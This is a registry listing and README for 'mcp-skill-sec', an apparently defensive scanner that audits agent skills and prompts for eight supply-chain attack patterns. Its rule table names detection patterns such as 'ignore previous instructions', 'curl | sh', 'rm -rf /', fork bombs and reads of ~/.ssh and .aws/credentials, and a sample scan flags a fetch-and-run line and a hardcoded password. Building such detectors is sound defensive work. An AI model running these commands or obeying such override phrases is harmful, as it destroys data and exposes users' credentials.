Mcp Skill Sec

io.github.sudo-ai-gitPublished by GitHub account sudo-ai-gitv1.0.0Updated Oct 24, 2026

Audit agent skills/prompts against 8 supply-chain attack patterns. Deterministic, no-LLM scanner.

VerifiedSTDIODesktop onlyDeveloper Tools Security & Monitoring

Server details

Identifier: io.github.sudo-ai-git/mcp-skill-sec
Transport: STDIO
Runtime: Desktop only
Trust: Verified
Published: Sep 16, 2026

Security note

MCP servers receive tool arguments from a conversation and may perform external actions. Review what a server can do before you enable it, and give it only the access it needs.

The registry verified the GitHub account sudo-ai-git for this listing. That does not show the account is the product's maker.

SourceWeft's checks cover whether the listing is complete and the endpoint answered; they do not review the server's code or what its tools do.

Add a badge to your README

Show readers this MCP server is listed on SourceWeft. The badge links to this page.

[![Listed on SourceWeft](https://sourceweft.com/badge/mcp/io.github.sudo-ai-git%2Fmcp-skill-sec.svg)](https://sourceweft.com/mcp/io.github.sudo-ai-git%2Fmcp-skill-sec?utm_source=readme&utm_medium=badge)

Overview

AI-generated overview

A local, deterministic scanner that lets an assistant audit agent skills, system prompts and downloaded file collections for 8 supply-chain attack patterns.

What you can do: Audit pasted text or a prompt string for malicious patterns, with line-numbered evidence
Audit a single skill or agent instruction file on disk, such as SKILL.md, AGENTS.md or CLAUDE.md
Audit a whole downloaded skills directory and get per-file verdicts plus a summary
List the rule catalog covering prompt injection, exfiltration, hardcoded secrets, dangerous commands, obfuscation, untrusted fetches, credential access and privilege escalation
When to use it: Useful before installing or trusting a third-party skill, prompt or downloaded skill collection, when you want a quick deterministic check with severity ratings and a PASS/FLAG verdict rather than an LLM judgement.
Requirements: Runs as a local stdio process on the user's machine (desktop only). Installed from the project's repository with uv tool or pipx, or from source with the mcp package; no API keys, accounts or network access are declared.

Before you install

It reads files at paths you give it, so point it only at content you are willing to have inspected. Findings are pattern matches, not proof of safety: a PASS verdict does not guarantee a skill is benign, and flagged evidence lines may quote secrets found in the scanned files.

Installation

In SourceWeft

Open Mcp Skill Sec in the dashboard and add it to a workspace.
Enable the server for the chats that should use its tools.

Desktop only via STDIO. STDIO servers start a local process, so they need the SourceWeft desktop host.

Other MCP clients

Follow the launch instructions in the repository.

README

mcp-skill-sec

A Model Context Protocol (MCP) server that audits any agent skill, system prompt, or downloaded file collection against the 8 malicious-skill supply-chain patterns.

Deterministic, no LLM, no network calls — a self-hostable pre-install scanner that works with Claude Code, Cursor, Copilot, OpenClaw, Codex CLI, and any MCP-compatible agent.

What it scans for (rules R1–R8)

Rule	Pattern
R1	Prompt injection / instruction hijack (`ignore previous instructions`, secrecy directives, identity overrides)
R2	Data exfiltration intent (send/post/email contents to a URL, log theft)
R3	Hardcoded secrets / credentials (API keys, PATs, private keys, connection strings)
R4	Dangerous commands (`rm -rf /`, `curl \| sh`, fork bombs, raw device writes)
R5	Obfuscation / hidden behavior (base64-exec, eval/exec, zero-width chars)
R6	Untrusted external fetches (fetch-and-run, non-PyPI installs)
R7	Credential access (reading `~/.ssh`, `.aws/credentials`, `.env`)
R8	Privilege escalation (`sudo -s`, setuid, adding to sudo group)

Each finding carries a severity (critical/high/medium/low), a line number, and the matching evidence line. The overall verdict is PASS only when there are no critical/high findings and every medium finding is benign.

Tools

audit_text(text, filename) — audit a string (a skill you were pasted, a system prompt you didn't write).
audit_skill_file(path) — audit a SKILL.md / AGENTS.md / CLAUDE.md on disk, line-numbered evidence.
audit_directory(path, pattern) — audit a whole downloaded skills collection; returns per-file verdicts + a summary.
rule_list() — dump the rule catalog.

Install & run

One command (recommended) — installs from the repo, no PyPI token needed:

bash

uv tool install git+https://github.com/sudo-ai-git/mcp-skill-sec# then register with your agent:mcp-skill-sec                       # run stdio servermcp-skill-sec --http --port 8137    # or Streamable HTTP for remote use

uv tool install git+https://github.com/sudo-ai-git/mcp-skill-sec# then register with your agent:mcp-skill-sec                       # run stdio servermcp-skill-sec --http --port 8137    # or Streamable HTTP for remote use

Or with pipx: pipx install git+https://github.com/sudo-ai-git/mcp-skill-sec

Direct from source (fallback):

bash

pip install mcppython3 mcp_server.py               # run stdiomcp install mcp_server.py --name skill-sec   # register with Claude Desktop

pip install mcppython3 mcp_server.py               # run stdiomcp install mcp_server.py --name skill-sec   # register with Claude Desktop

Claude Desktop / agent config

Example

text

skill-sec: /tmp/downloaded-skill/SKILL.md  verdict : FLAG  counts  : critical 1, high 2, medium 1, low 0  R3 [critical] line 11: api_key = "sk-live-…"  R3 [high]     line 14: password = "hunter2"  R4 [critical] line 22: curl https://x/y.sh | sh  action : remove the literal secrets, drop the fetch-and-run, re-audit

skill-sec: /tmp/downloaded-skill/SKILL.md  verdict : FLAG  counts  : critical 1, high 2, medium 1, low 0  R3 [critical] line 11: api_key = "sk-live-…"  R3 [high]     line 14: password = "hunter2"  R4 [critical] line 22: curl https://x/y.sh | sh  action : remove the literal secrets, drop the fetch-and-run, re-audit

Part of a family

This is one of three deterministic, no-LLM agent-trust MCP servers by sudo-ai-git:

mcp-skill-sec — pre-install skill/security audit (this repo)
mcp-verify-claim — evidence-gated, honestly-tiered claim reporting
mcp-benchmark-hygiene — pytest config-leakage / eval-honesty detection

Sibling product: mcp-token-saver — token-cost proxy + analyzer for agent conversations (dedupes redundant tokens before they're billed; live-proven 74% cut). Discussion

Also in the family (a free CLI, not an MCP server): harness-audit — deterministic agent-eval / benchmark-grading hygiene audit that catches the same silent config-leakage mis-scoring class. Free lead-magnet; the same verification discipline, zero dependencies, auditable line-by-line.

License & provenance

MIT. Written by sudo-ai-git. This is a standalone security/verification tool; it encodes no proprietary method. It is the MCP expression of the skill-sec agent skill (same rules, callable as a server instead of a skill).

Official MCP Registry metadata

mcp-name: io.github.sudo-ai-git/mcp-skill-sec

Hire a custom integration

Need this connected to your internal system (auth, logging, security-scan pass, hosted)? Open a custom-build request. MIT reference assets are free to use either way.

[mcp-skill-sec MCP server]

Source: README.md at commit 60bf748

Tools

SourceWeft has not started this package in its sandbox yet, so its tools are not known.

Version history

v1.0.0LatestSep 16, 2026

Score

40% of the applicable checks met

How complete this listing is, computed from the registry entry, the endpoint and public sources. Not a rating of the server and not a statement that it is safe or working today: reachability is a dated check, and no installs or reviews go into the score.

Reached in the last 30 days25 pts
Keep the endpoint answering the MCP handshake; SourceWeft probes it every 30 days.
Auth declared10 pts
Declare the credential headers in the registry entry, or keep the endpoint answering the probe so its auth can be classified.
Tools listed15 pts
Answer tools/list without a credential, or ship a package that starts in a sandbox without one.
DescriptionRequired15 pts
Logo10 pts
Documentation15 pts
License10 pts
Declare a license in the repository or the registry entry.